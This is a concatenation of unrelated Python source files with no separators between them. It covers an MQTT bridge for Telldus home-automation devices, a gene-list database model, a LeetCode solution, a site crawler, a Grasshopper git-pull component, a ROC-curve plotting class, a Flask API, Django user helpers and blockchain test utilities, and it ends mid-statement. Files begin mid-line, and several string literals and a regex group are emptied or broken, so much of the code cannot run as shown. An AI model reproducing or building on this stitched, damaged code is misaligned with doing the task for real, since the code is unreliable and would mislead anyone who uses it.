const.TELLSTICK_TURNOFF: 'turn off', const.TELLSTICK_BELL: 'bell', const.TELLSTICK_TOGGLE: 'toggle', const.TELLSTICK_DIM: 'dim', const.TELLSTICK_LEARN: 'learn', const.TELLSTICK_EXECUTE: 'execute', const.TELLSTICK_UP: 'up', const.TELLSTICK_DOWN: 'down', const.TELLSTICK_STOP: 'stop'} def connect_mqtt(config, client_id) -> mqtt_client: def on_connect(client, userdata, flags, return_code): # pylint: disable=unused-argument if return_code == 0: client.connected_flag = True logging.info('Connected to MQTT Broker as %s.', client_id) else: logging.critical('Failed to connect, return code %d', return_code) client = mqtt_client.Client(client_id) client.username_pw_set(config['mqtt']['user'], config['mqtt']['pass']) client.on_connect = on_connect client.connect(config['mqtt']['broker'], int(config['mqtt']['port'])) return client def publish_mqtt(client, topic, msg): with THREADING_RLOCK: result = client.publish(topic, msg, retain=True) if result[0] == 0: logging.info('Send "%s" to topic "%s"', msg, topic) else: logging.error('Failed to send message to topic "%s"', topic) def subscribe_device(client: mqtt_client): logging.debug('Subscribing to MQTT device events') def on_message(client, userdata, msg): # pylint: disable=unused-argument logging.info('Received "%s" from "%s" topic', msg.payload.decode(), msg.topic) device_id = msg.topic.split('/')[1] module = msg.topic.split('/')[2] action = msg.topic.split('/')[3] cmd_status = False if module == 'light': if action == 'dim': logging.debug('[DEVICE] Sending command DIM "%s" to device ' 'id %s', msg.payload.decode(), device_id) cmd_status = d.dim(device_id, int(msg.payload.decode())) else: if int(msg.payload.decode()) == int(const.TELLSTICK_TURNON): logging.debug('[DEVICE] Sending command DIM 255 to device ' 'id %s', device_id) cmd_status = d.dim(device_id, 255) if int(msg.payload.decode()) == int(const.TELLSTICK_TURNOFF): logging.debug('[DEVICE] Sending command DIM 0 to device ' 'id %s', device_id) cmd_status = d.dim(device_id, 0) if action != 'dim' and module != 'light': if int(msg.payload.decode()) == int(const.TELLSTICK_TURNON): topic = d.create_topic(device_id, 'switch') topic_data = d.create_topic_data('switch', const.TELLSTICK_TURNON) publish_mqtt(mqtt_device, topic, topic_data) logging.debug('[DEVICE] Sending command ON to device ' 'id %s', device_id) cmd_status = d.turn_on(device_id) if int(msg.payload.decode()) == int(const.TELLSTICK_TURNOFF): topic = d.create_topic(device_id, 'switch') topic_data = d.create_topic_data('switch', const.TELLSTICK_TURNOFF) publish_mqtt(mqtt_device, topic, topic_data) logging.debug('[DEVICE] Sending command OFF to device ' 'id %s', device_id) cmd_status = d.turn_off(device_id) # if int(msg.payload.decode()) == int(const.TELLSTICK_BELL): # logging.debug('[DEVICE] Sending command BELL to device ' # 'id %s', device_id) # cmd_status = d.bell(device_id) # if int(msg.payload.decode()) == int(const.TELLSTICK_EXECUTE): # logging.debug('[DEVICE] Sending command EXECUTE to device ' # 'id %s', device_id) # cmd_status = d.execute(device_id) # if int(msg.payload.decode()) == int(const.TELLSTICK_UP): # logging.debug('[DEVICE] Sending command UP to device id %s', # device_id) # cmd_status = d.up(device_id) # if int(msg.payload.decode()) == int(const.TELLSTICK_DOWN): # logging.debug('[DEVICE] Sending command DOWN to device id %s', # device_id) # cmd_status = d.down(device_id) # if int(msg.payload.decode()) == int(const.TELLSTICK_STOP): # logging.debug('[DEVICE] Sending command STOP to device id %s', # device_id) # cmd_status = d.stop(device_id) if not cmd_status: logging.debug('[DEVICE] Command "%s" not supported, please open' ' a github issue with this message.', msg) client.subscribe('{}/+/+/set'.format( config['home_assistant']['state_topic'])) client.on_message = on_message def raw_event(data, controller_id, cid): # pylint: disable=unused-argument if 'command' not in data: return # Sensors can be added or discovered in telldus-core without # a restart, ensure config topic for HASS command_topics = raw.create_topics(raw.get(data)) initial_publish(mqtt_command, command_topics) topic = raw.create_topic(raw.serialized['id'], 'binary_sensor') topic_data = raw.create_topic_data('binary_sensor', raw.serialized['method']) publish_mqtt(mqtt_command, topic, topic_data) def device_event(id_, method, data, cid): # pylint: disable=unused-argument method_string = METHODS.get(method, 'UNKNOWN METHOD {0}'.format(method)) string = '[DEVICE] {0} -> {1} ({2})'.format(id_, method_string, method) if method == const.TELLSTICK_DIM: string += ' [{0}]'.format(data) if method == const.TELLSTICK_DIM: logging.debug('[DEVICE EVENT LIGHT] %s', string) topic = d.create_topic(id_, 'light') topic_data = d.create_topic_data('light', data) else: logging.debug('[DEVICE EVENT SWITCH] %s', string) topic = d.create_topic(id_, 'switch') topic_data = d.create_topic_data('switch', method) publish_mqtt(mqtt_device, topic, topic_data) def sensor_event(protocol, model, id_, data_type, value, timestamp, cid): # pylint: disable=unused-argument type_string = TYPES.get(data_type, 'UNKNOWN METHOD {0}'.format(data_type)) string = '[SENSOR] {0} {1} ({2}) = {3}'.format( id_, model, type_string, value) logging.debug(string) # Sensors can be added or discovered in telldus-core without # a restart, ensure config topic for HASS sensor_topics = s.create_topics(s.get(id_)) initial_publish(mqtt_sensor, sensor_topics) topic = s.create_topic(id_, type_string) data = s.create_topic_data(type_string, value) publish_mqtt(mqtt_sensor, topic, data) def initial_publish(client_mqtt, topics): for topic in topics: if 'config' in topic: publish_mqtt(client_mqtt, topic['config']['topic'], topic['config']['data']) if 'state' in topic: publish_mqtt(client_mqtt, topic['state']['topic'], topic['state']['data']) with open('./logging.yaml', 'r', encoding='utf-8') as stream: logging_config = yaml.load(stream, Loader=yaml.SafeLoader) logging.config.dictConfig(logging_config) logger = logging.getLogger('telldus-core-mqtt-main') # Wait 5s for telldus-core to start and start collecting data logging.info('Waiting for telldus-core to start...') time.sleep(5) logging.info('telldus-core have started.') # Setup connection MQTT server c = telldus.Telldus() config = c.get_config # Setting up MQTT connections mqtt_sensor_id = 'telldus-core-mqtt-sensor-{}'.format( random.randint(0, 1000)) # nosec mqtt_sensor = connect_mqtt(config, mqtt_sensor_id) mqtt_device_id = 'telldus-core-mqtt-device-{}'.format( random.randint(0, 1000)) # nosec mqtt_device = connect_mqtt(config, mqtt_device_id) mqtt_command_id = 'telldus-core-mqtt-command-{}'.format( random.randint(0, 1000)) # nosec mqtt_command = connect_mqtt(config, mqtt_command_id) mqtt_subscription_id = 'telldus-core-mqtt-subscription-{}'.format( random.randint(0, 1000)) # nosec mqtt_subscription = connect_mqtt(config, mqtt_subscription_id) # # On program start, collect sensors to publish to MQTT server s = telldus.Sensor(c.td_core) sensors_topics = s.create_topics(s.get()) initial_publish(mqtt_sensor, sensors_topics) # # On program start, collect devices to publish to MQTT server d = telldus.Device(c.td_core) devices_topics = d.create_topics(d.get()) initial_publish(mqtt_device, devices_topics) # Collect raw commands raw = telldus.Command(c.td_core) # Initialize event listener for telldus-core telldus_core = asyncio.new_event_loop() asyncio.set_event_loop(telldus_core) dispatcher = td.AsyncioCallbackDispatcher(telldus_core) core = td.TelldusCore(callback_dispatcher=dispatcher) callbacks = [] # # Events to listen for from telldus-core callbacks.append(core.register_raw_device_event(raw_event)) callbacks.append(core.register_device_event(device_event)) callbacks.append(core.register_sensor_event(sensor_event)) # Main loop try: subscribe_device(mqtt_subscription) mqtt_sensor.loop_start() mqtt_device.loop_start() mqtt_command.loop_start() mqtt_subscription.loop_start() telldus_core.run_forever() except KeyboardInterrupt: mqtt_device.unsubscribe('{}/+/+/set'.format( config['home_assistant']['state_topic'])) mqtt_sensor.disconnect() mqtt_device.disconnect() mqtt_command.disconnect() mqtt_subscription.disconnect() mqtt_sensor.loop_stop() mqtt_device.loop_stop() mqtt_command.loop_stop() mqtt_subscription.loop_stop() robinandeer/puzzle # -*- coding: utf-8 -*- from sqlalchemy import Column, ForeignKey, Integer, String, UniqueConstraint from sqlalchemy.orm import relationship from .models import BASE class CaseGenelistLink(BASE): """Link between case and gene list.""" __tablename__ = 'case_genelist_link' __table_args__ = (UniqueConstraint('case_id', 'genelist_id', name='_case_genelist_uc'),) id = Column(Integer, primary_key=True) case_id = Column(Integer, ForeignKey('case.id')) genelist_id = Column(Integer, ForeignKey('gene_list.id')) class GeneList(BASE): """Represent a list of gene identifiers.""" __tablename__ = "gene_list" id = Column(Integer, primary_key=True) list_id = Column(String(32), nullable=False, unique=True) # comma separated list of gene ids _gene_ids = Column(String(1024)) cases = relationship('Case', secondary='case_genelist_link', backref='gene_lists') @property def gene_ids(self): """Return a list of gene ids.""" return self._gene_ids.split(',') if self._gene_ids else [] @gene_ids.setter def gene_ids(self, value): self._gene_ids = ','.join(value) def delete_gene(self, *gene_ids): """Delete one or more gene ids form the list.""" self.gene_ids = [gene_id for gene_id in self.gene_ids if gene_id not in gene_ids] def __repr__(self): return "PhenotypeTerm(list_id={this.list_id})".format(this=self) kaizhengny/LeetCodeStack Queue/Leetcode 224. Basic Calculator.py class Solution: def calculate(self, s: str) -> int: sums_stack = [] sign_stack = [] sums = 0 sign = 1 num = 0 s+='+' for i in range(len(s)): if s[i].isdigit(): num = num*10 +int(s[i]) elif s[i] == '+': sums += sign*num sign = 1 num = 0 elif s[i] == '-': sums += sign*num sign = -1 num = 0 elif s[i] == '(': sums_stack.append(sums) sign_stack.append(sign) sums = 0 sign = 1 elif s[i] == ')': sums += sign*num num = 0 sums = sums_stack.pop() + sign_stack.pop()*sums return sums # 遇到'(‘ 记录之前的数和sign # 遇到')' 将（）内的和 与 '(' 之前的数 做计算import json from bs4 import BeautifulSoup from .base import BaseCrawler from .utilities import get_asset, get_language class Year2017(BaseCrawler): year: str = "2017" def preprocess_soup(self, path: str, soup: BeautifulSoup) -> BeautifulSoup: if get_language(path) == "zh": elements = soup.find_all("a", {"data-lang": "en-us"}) for elm in elements: elm.replace_with("en-us_target") if get_language(path) == "en": elements = soup.find_all("a", {"data-lang": "zh-hant"}) for elm in elements: elm.replace_with("zh-hant_target") return soup def convert_html(self, path: str, soup: BeautifulSoup) -> str: html = super().convert_html(path, soup) full_path = self.base_path + path if get_language(path) == "zh": html = html.replace( "en-us_target", '', 1, ) html = html.replace( "en-us_target", '", 1, ) if get_language(path) == "en": html = html.replace( "zh-hant_target", '', 1, ) html = html.replace( "zh-hant_target", '", 1, ) return html def crawl_image(self, soup: BeautifulSoup): super().crawl_image(soup) # get imgs from json, especially for pycon /2017/zh-hant/events/keynotes/ for script_element in soup.find_all("script", type="application/json"): json_object = json.loads(script_element.contents[0]) if "keynote" in json_object: for person in json_object["keynote"]: get_asset(person["photo"]) #!/usr/bin/env python3 # -*- coding: utf-8 -*- import console from console.console import Console from console.console import ConsoleLevel Compile Ready codes/21.py1-10 """Pulls the remote repository changes to the local repository Inputs: branch: Name of the branch to be pulled favor_this_side: Determines whether to resolve conflicts by favoring this side of the pull (Toggle) manual_resolve: Determines whether to leave conflict solving to the user (Toggle) pull: Triggers the git command (Button) Output: help: Output of the git operation / Helpful tips""" __author__ = "" __version__ = "2019.06.24" from ghpythonlib.componentbase import dotnetcompiledcomponent as component import Grasshopper, GhPython import System import Rhino import rhinoscriptsyntax as rs from subprocess import check_output, Popen import subprocess import os import scriptcontext as rsc class MyComponent(component): def __new__(cls): instance = Grasshopper.Kernel.GH_Component.__new__(cls, "Pull from Repository", "Pull", """Pulls the remote repository changes to the local repository""", "Githopper", "Merging") return instance def get_ComponentGuid(self): return System.Guid("97c47f69-1430-4e51-847d-aa5a6d106e11") def SetUpParam(self, p, name, nickname, description): p.Name = name p.NickName = nickname p.Description = description p.Optional = True def RegisterInputParams(self, pManager): p = Grasshopper.Kernel.Parameters.Param_String() self.SetUpParam(p, "branch", "branch", "Name of the branch to be pulled") p.Access = Grasshopper.Kernel.GH_ParamAccess.item self.Params.Input.Add(p) p = Grasshopper.Kernel.Parameters.Param_Boolean() self.SetUpParam(p, "favor_this_side", "favor_this_side", "Determines whether to resolve conflicts by favoring this side of the pull (Toggle)") p.Access = Grasshopper.Kernel.GH_ParamAccess.item self.Params.Input.Add(p) p = Grasshopper.Kernel.Parameters.Param_Boolean() self.SetUpParam(p, "manual_resolve", "manual_resolve", "Determines whether to leave conflict solving to the user (Toggle)") p.Access = Grasshopper.Kernel.GH_ParamAccess.item self.Params.Input.Add(p) p = Grasshopper.Kernel.Parameters.Param_Boolean() self.SetUpParam(p, "pull", "pull", "Triggers the git command (Button)") p.Access = Grasshopper.Kernel.GH_ParamAccess.item self.Params.Input.Add(p) def RegisterOutputParams(self, pManager): p = Grasshopper.Kernel.Parameters.Param_GenericObject() self.SetUpParam(p, "help", "help", "Output of the git operation / Helpful tips") self.Params.Output.Add(p) def SolveInstance(self, DA): p0 = self.marshal.GetInput(DA, 0) p1 = self.marshal.GetInput(DA, 1) p2 = self.marshal.GetInput(DA, 2) p3 = self.marshal.GetInput(DA, 3) result = self.RunScript(p0, p1, p2, p3) if result is not None: self.marshal.SetOutput(result, DA, 0, True) def get_Internal_Icon_24x24(self): o = " return System.Drawing.Bitmap(System.IO.MemoryStream(System.Convert.FromBase64String(o))) def RunScript(self, branch, favor_this_side, manual_resolve, pull): help = None def executor(cmd): """ This function executes the given command in the form of a list * It returns the output of the cmd prompt as a raw string """ try: Popen(["cmd", "/C"] + cmd) except: pass def puller(options): """ pushes repository to server """ executor(["git", "pull"] + options) # CWD area --------------------------------------------------------------------- try: rsc.sticky["git_path"] os.chdir(rsc.sticky["git_path"]) except: pass # Command execution area & help ------------------------------------------------ if not manual_resolve: help = "Merge conflicts will be resolved automatically\n" if favor_this_side: conf_manager = "--strategy-option=ours" help += ("\n* In the case of a conflict it will be resolved" " by favoring this side of the conflict") else: conf_manager = "--strategy-option=theirs" help += ("\n* In the case of a conflict it will be resolved" " by favoring the other side of the conflict") else: conf_manager = "manual" help = ("Conflicting files will be altered\n" "\n* You have to manualy edit the files and resolve the conflicts" "\n\n* After manualy resolving the conflict make sure to use " "\"Finish Conflict\" component to either resolve the merge conflict" " or abort the oporation") pull_options = [] if branch == None or branch == "": pull_options.append("--all") if conf_manager != "manual": pull_options.append(conf_manager) if branch != None: pull_options.append(branch) if pull: puller(pull_options) return help import GhPython import System class AssemblyInfo(GhPython.Assemblies.PythonAssemblyInfo): def get_AssemblyName(self): return "Pull from Repository" def get_AssemblyDescription(self): return """""" def get_AssemblyVersion(self): return "0.1" def get_AuthorName(self): return "" def get_Id(self): return System.Guid("2373329f-ac19-43ab-8b71-c8b09ce3e906")# Copyright (C) 2011, Google Inc. All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are # met: # # * Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # * Redistributions in binary form must reproduce the above # copyright notice, this list of conditions and the following disclaimer # in the documentation and/or other materials provided with the # distribution. # * Neither the name of Google Inc. nor the names of its # contributors may be used to endorse or promote products derived from # this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS # "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT # LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR # A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT # OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, # SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT # LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, # DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY # THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE # OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. # # WebKit's Python module for parsing and modifying ChangeLog files import codecs import fileinput import os.path import re import textwrap class DEPS(object): _variable_regexp = r"\s+'%s':\s+'(?P\d+)'" def __init__(self, path): self._path = path def read_variable(self, name): pattern = re.compile(self._variable_regexp % name) for line in fileinput.FileInput(self._path): match = pattern.match(line) if match: return int(match.group("value")) def write_variable(self, name, value): pattern = re.compile(self._variable_regexp % name) replacement_line = " '%s': '%s'" % (name, value) # inplace=1 creates a backup file and re-directs stdout to the file for line in fileinput.FileInput(self._path, inplace=1): if pattern.match(line): print replacement_line continue # Trailing comma suppresses printing newline print line, import logging import ujson as json import numpy as np from sklearn.metrics import roc_curve, auc import matplotlib.pyplot as plt from matplotlib import ticker from .plot import FigureContext # disable extensive matplotlib logging logging.getLogger("matplotlib").setLevel(logging.WARNING) # logger log = logging.getLogger(__name__) class RocCurve: """ class that abstracts some of the logic of the Receiver Operating Characteristics (ROC) curve """ def __init__(self, labels=None, scores=None, name="ROC"): self._name = name if (labels is not None) and (scores is not None): # compute roc curve, if provided assert(len(labels) == len(scores)) self.compute_roc_curve(labels, scores) def compute_roc_curve(self, labels, scores): """ compute the ROC curve for given labels and scores """ self._fpr, self._tpr, self._thresholds = roc_curve(labels, scores) @property def dict(self): return { "name": self._name, "fpr": self._fpr, "tpr": self._tpr, } def set_name(self, name): """ set new name """ self._name = name def auc(self, max_fpr=1.0): """ compute (bounded-)AUC for ROC curve """ return self._bounded_auc(self._fpr, self._tpr, max_fpr) def _bounded_auc(self, fpr, tpr, max_fpr=None): """ compute the bounded AUC of a ROC curve on given false positive rate and true positive rate """ if (max_fpr is None) or (max_fpr == 1.0): # just return full auc i.e. without modifications return fpr, tpr, auc(fpr, tpr) # compute bounded auc stop = np.searchsorted(fpr, max_fpr, "right") x_interp = [fpr[stop - 1], fpr[stop]] y_interp = [tpr[stop - 1], tpr[stop]] tpr = np.append(tpr[:stop], np.interp(max_fpr, x_interp, y_interp)) fpr = np.append(fpr[:stop], max_fpr) # McClish correction: standardize result to be 0.5, # if non-discriminant and 1 if maximal min_area = 0.5 * max_fpr ** 2 auc_ = 0.5 * (1 + (auc(fpr, tpr) - min_area) / (max_fpr - min_area)) return fpr, tpr, auc_ def plot(self, ax, max_fpr=1.0, title=None, random_line=True): # plot ROC curve ax.plot(self._fpr, self._tpr, label=self._name) # plot random predictions line if random_line is True: plt.plot([0, 1], [0, 1], "k--") ax.xaxis.set_major_locator(ticker.MaxNLocator(prune='lower')) plt.xlim([0.0, max_fpr or 1.0]) plt.ylim([0.0, 1.0]) if title is not None: plt.title(title) plt.legend(loc="lower right") def save(self, filename): """ save given ROC curve as .json file """ log.debug("saving ROC curve to '{}'...".format(filename)) with open(filename, "w") as f: json.dump(self.dict, f) def load(self, filename): """ save given ROC curve as .json file """ log.debug("loading ROC curve from '{}'...".format(filename)) with open(filename, "r") as f: d = json.load(f) self._fpr = d["fpr"] self._tpr = d["tpr"] self._name = d["name"] def plot_rocs( rocs, targetdir, filename="roc", max_fpr=None, random_line=True, title=None, figsize=(10, 8), ext="pdf" ): """ plot multiple ROC curves into one figure list of rocs must contain dictionaries with the following keys: "fpr", "tpr", "auc_score", "label" """ if isinstance(rocs, RocCurve): # convert single roc dict into list rocs = [rocs] with FigureContext( targetdir=targetdir, filename=filename, title=title, xlabel="False Positive Rate", ylabel="True Positive Rate", rotate_xticks=False, ext=ext, figsize=figsize ) as ax: for roc in rocs: roc.plot(ax, max_fpr, title, random_line) return plt.gcf() from flask import Blueprint, request, jsonify, json from sqlalchemy import text as sql from typing import List from web import util from web.api import trigger from web.cache import Cache, TriggerScheduler bp = Blueprint('timeseries', __name__) ENGINE = util.get_engine('metadata') CACHE = Cache() SCHEDULER = TriggerScheduler() """ Extension Structure: { extensionId: "", extension: enum("Transformation", "Validation", "Interpolation"), function: "", variables: [ { variableId: "", metadata: {}, }, { variableId: "", metadataIds: {}, }, { variableId: "", timeseriesId: {}, } ], inputVariables: [], outputVariables: [], trigger: [ { trigger_type: enum("OnChange", "OnTime"), trigger_on: [] } ], options: {} } """ @bp.route('/extension', methods=['POST']) def extension_create(): data = request.get_json() assert 'extensionId' in data, f'extensionId should be provided' print('POST extension:', data['extensionId']) assert 'variables' in data and isinstance(data['variables'], list), f'variables should be provided' data['variables'], variable_names = util.create_timeseries(data['variables']) if 'inputVariables' in data: for v in data['inputVariables']: assert v in variable_names, f'{v} is not defined in variables' if 'outputVariables' in data: for v in data['outputVariables']: assert v in variable_names, f'{v} is not defined in variables' data['data'] = dumps_data(data['variables'], data['inputVariables'], data['outputVariables']) if 'options' not in data: data['options'] = '{}' else: data['options'] = json.dumps(data['options']) assert 'trigger' in data and isinstance(data['trigger'], list), f'trigger list should be provided' with ENGINE.begin() as conn: trigger.extension_trigger_create(conn, data['extensionId'], data['trigger'], check_trigger_on(variable_names, data['variables'])) conn.execute(sql(''' INSERT IGNORE INTO extensions (extensionId, extension, function, data, options) VALUES (:extensionId, :extension, :function, :data, :options) '''), **data) for t in data['trigger']: if t['trigger_type'] == 'OnChange': CACHE.hset_pipe_on_change_timeseries_extension_by_ids(t['trigger_on'], **data) elif t['trigger_type'] == 'OnTime': SCHEDULER.add_to_scheduler(t['trigger_on'], **data) del data['data'] data['options'] = json.loads(data['options']) return jsonify(data) @bp.route('/extension/', methods=['GET']) def extension_get(extension_id): print('GET extension:', extension_id) extension = CACHE.get(extension_id) if extension is None: extension = ENGINE.execute(sql(''' SELECT extensionId, extension, function, `data`, options FROM extensions WHERE extensionId=:extension_id '''), extension_id=extension_id).fetchone() assert extension, f'Extension does not exists: {extension_id}' extension = dict(extension) data = json.loads(extension['data']) extension['trigger'] = trigger.extension_trigger_get(ENGINE, extension_id) extension['variables'] = data['variables'] extension['inputVariables'] = data['inputVariables'] extension['outputVariables'] = data['outputVariables'] extension['options'] = json.loads(extension['options']) del extension['data'] CACHE.set(extension_id, extension) return jsonify(**extension) @bp.route('/extension/trigger_type/OnChange', methods=['GET']) def extension_get_trigger_on_change(): timeseries_id = request.args.get('timeseriesId') assert timeseries_id, 'timeseriesId should provide as query' print('GET extension trigger_type: OnChange timeseries:', timeseries_id) extensions = CACHE.hgetall_on_change_extensions_by_timeseries(timeseries_id) if extensions is None: extension_ids = trigger.extension_get_trigger_on_change(ENGINE, timeseries_id) assert extension_ids, f'No extension found for trigger_type: OnChange, timeseries_id: {timeseries_id}' extension_id_str = [f"'{ext_id}'" for ext_id in extension_ids] q = f'SELECT extensionId, extension, function, `data`, options FROM extensions WHERE extensionId IN ({",".join(extension_id_str)})' extensions = ENGINE.execute(q).fetchall() extensions = [dict(ext) for ext in extensions] CACHE.hset_on_change_timeseries_extension(timeseries_id, extensions) for ext in extensions: ext['data'] = json.loads(ext['data']) # TODO: Change for same format for the consistency # extension['variables'],extension['inputVariables'],extension['outputVariables'] = loads_data(ext['data']) ext['options'] = json.loads(ext['options']) return jsonify(extensions) @bp.route('/extension/trigger_type/OnTime', methods=['GET']) def extension_get_trigger_on_time(): print('GET extension trigger_type: OnTime ') triggers, extension_ids = trigger.extension_get_trigger_on_time(ENGINE) assert extension_ids, f'No extension found for trigger_type: OnTime' extension_id_str = [f"'{ext_id}'" for ext_id in extension_ids] q = f'SELECT extensionId, extension, function, `data`, options FROM extensions WHERE extensionId IN ({",".join(extension_id_str)})' extensions = ENGINE.execute(q).fetchall() extensions = [dict(ext) for ext in extensions] extension_map = {} for ext in extensions: ext['data'] = json.loads(ext['data']) # TODO: Change for same format for the consistency # extension['variables'],extension['inputVariables'],extension['outputVariables'] = loads_data(ext['data']) ext['options'] = json.loads(ext['options']) extension_map[ext['extensionId']] = ext # Replace extensionId values with extension data for t in triggers: t['extensions'] = [extension_map[ex_id] for ex_id in t['extensions'] if ex_id in extension_map] return jsonify(triggers) @bp.route("/extension/", methods=['DELETE']) def extension_delete(extension_id): extension = CACHE.get(extension_id) if extension is None: extension = {'trigger': trigger.extension_trigger_get(ENGINE, extension_id)} del_triggers = trigger.extension_trigger_delete(ENGINE, extension_id) del_extension = ENGINE.execute(sql(''' DELETE FROM extensions WHERE extensionId=:extension_id '''), extension_id=extension_id) # Remove from two caches s.t. extension and OnChange. TODO: Need to merge into on caching structure for t in extension['trigger']: if t['trigger_type'] == 'OnChange': CACHE.hdel_pipe_on_change_extension(t['trigger_on'], [extension_id]) CACHE.delete(extension_id) return jsonify(extension_id) def dumps_data(variables: List[dict], input_variables: List[str], output_variables: List[str]): return json.dumps({ 'variables': variables, 'inputVariables': input_variables, 'outputVariables': output_variables }) def loads_data(data): data = json.loads(data) return data['variables'], data['inputVariables'], data['outputVariables'] def check_trigger_on(variable_names, variables): return lambda trigger_on: next((x['timeseries']['timeseriesId'] for x in variables if x['variableId'] == trigger_on), [trigger_on])\ if trigger_on in variable_names else trigger_on #Ввод name = input('Введи фразу') print(name) age = input('Введи возраст ') print(age, type(age)) print(int(age), type(int(age)))from django.conf import settings from django.contrib import auth from django.contrib.auth import get_user_model import workon.utils __all__ = [ "get_user_or_none", "get_or_create_user" ] def get_user_or_none(email): email = workon.utils.is_valid_email(email) if email: try: user = User.objects.get(email__iexact=email) except User.DoesNotExist: return None return None def get_or_create_user(expiration_date=None, set_names_from_email=False, password=None, save=True, **kwargs): User = get_user_model() attr_name = User.USERNAME_FIELD unique_field = kwargs.get(attr_name, None) if attr_name == "email": unique_field = workon.utils.is_valid_email(unique_field) if unique_field: try: user = User.objects.get(**{f'{attr_name}__iexact': unique_field }) user._created = False except User.DoesNotExist: kwargs[attr_name] = unique_field user = User( **kwargs # expiration_date = expiration_date ) if password: user.set_password(password) else: user.set_unusable_password() if set_names_from_email: if attr_name == "email" and not user.username: user.username = unique_field.split('@')[0][0:254] if not user.first_name and not user.last_name: user_names = user.username.split('.', 2) if len(user_names) == 2: user.first_name = ''.join([i for i in user_names[0].capitalize() if not i.isdigit()]) user.last_name = ''.join([i for i in user_names[1].capitalize() if not i.isdigit()]) else: user.first_name = ''.join([i for i in user_names[0].capitalize() if not i.isdigit()]) if save: user.save() user._created = True return user else: return Nonetools/perf/perf_tools/first_paint_time_benchmark_unittest.py # Copyright (c) 2012 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. from chrome_remote_control import multi_page_benchmark_unittest_base from perf_tools import first_paint_time_benchmark class FirstPaintTimeBenchmarkUnitTest( multi_page_benchmark_unittest_base.MultiPageBenchmarkUnitTestBase): def testFirstPaintTimeMeasurement(self): ps = self.CreatePageSetFromFileInUnittestDataDir('scrollable_page.html') benchmark = first_paint_time_benchmark.FirstPaintTimeBenchmark() all_results = self.RunBenchmark(benchmark, ps) self.assertEqual(0, len(all_results.page_failures)) self.assertEqual(1, len(all_results.page_results)) results0 = all_results.page_results[0] if results0['first_paint'] == 'unsupported': # This test can't run on content_shell. return self.assertTrue(results0['first_paint'] > 0) 10-100 # -------------------------------------------- # Using both speech and touch-tone input # See http://www.tropo.com for more info # -------------------------------------------- answer() result = ask("Hi. For sales, say sales or press 1. For support, say support or press 2", {'choices':"sales(1,sales), support(2,support)", 'repeat':3}) if (result.name == 'choice'): if (result.value == "sales"): say("Sales is not available right now") if (result.value == "support"): say("Support is currently on the other line.") hangup() import subprocess import os, os.path, binascii import random from subprocess import call from test_framework.util import COIN SC_FIELD_SIZE = 32 SC_FIELD_SAFE_SIZE = 31 # these should be aligned with the definitions in src/sc/sidechaintypes.h MAX_SC_PROOF_SIZE_IN_BYTES = 9*1024 MAX_SC_VK_SIZE_IN_BYTES = 9*1024 def generate_random_field_element_hex(): return os.urandom(SC_FIELD_SAFE_SIZE).hex() + "00" * (SC_FIELD_SIZE - SC_FIELD_SAFE_SIZE) def generate_random_field_element_hex_list(len): return [generate_random_field_element_hex() for i in range(len)] class MCTestUtils(object): def __init__(self, datadir, srcdir, ps_type = "cob_marlin"): self.datadir = datadir self.srcdir = srcdir assert(ps_type == "darlin" or ps_type == "cob_marlin") self.ps_type = ps_type def _generate_params(self, id, circuit_type, ps_type, file_prefix, num_constraints, segment_size): params_dir = self._get_params_dir(id) if os.path.isfile(params_dir + file_prefix + "test_pk") and os.path.isfile(params_dir + file_prefix + "test_vk"): return args = [] args.append(os.getenv("ZENDOOMC", os.path.join(self.srcdir, "zendoo/mcTest"))) args.append("generate") args.append(str(circuit_type)) args.append(str(ps_type)) args.append(str(params_dir)) args.append(str(segment_size)) args.append(str(num_constraints)) subprocess.check_call(args) assert(os.path.isfile(params_dir + file_prefix + "test_pk")) return self._get_vk(params_dir + file_prefix + "test_vk") def _get_params_dir(self, id): target_dir = "{}/sc_{}_params/".format(self.datadir, id) if not os.path.isdir(target_dir): os.makedirs(target_dir) return target_dir def _get_proofs_dir(self, id): target_dir = "{}/sc_{}_proofs/".format(self.datadir, id) if not os.path.isdir(target_dir): os.makedirs(target_dir) return target_dir def _get_proof(self, proof_path): assert os.path.isfile(proof_path) proof = open(proof_path, "rb").read() return proof.hex() def _get_vk(self, vk_path): assert os.path.isfile(vk_path) vk = open(vk_path, "rb").read() return vk.hex() class CertTestUtils(MCTestUtils): def __init__(self, datadir, srcdir=None, ps_type = "cob_marlin"): if srcdir==None: # get the tool path from the env var used for getting zend zendPath = os.getenv("BITCOIND", "N.A.") if not os.path.isfile(zendPath): raise Exception('no such file: ' + zendPath) srcdir = os.path.dirname(zendPath) MCTestUtils.__init__(self, datadir, srcdir, ps_type) def _get_file_prefix(self, circ_type): return str(self.ps_type) + "_" + circ_type + "_" def generate_params(self, id, circ_type = "cert", num_constraints = 1 << 10, segment_size = 1 << 9): file_prefix = self._get_file_prefix(circ_type) return self._generate_params(id, circ_type, self.ps_type, file_prefix, num_constraints, segment_size) def create_test_proof(self, id, scid, epoch_number, quality, btr_fee, ft_min_amount, end_cum_comm_tree_root, constant = None, pks = [], amounts = [], custom_fields = [], num_constraints = 1 << 10, segment_size = 1 << 9): if constant is not None: circ_type = "cert" else: circ_type = "cert_no_const" file_prefix = self._get_file_prefix(circ_type) params_dir = self._get_params_dir(id) if not os.path.isfile(params_dir + file_prefix + "test_pk") or not os.path.isfile(params_dir + file_prefix + "test_vk"): return proof_path = 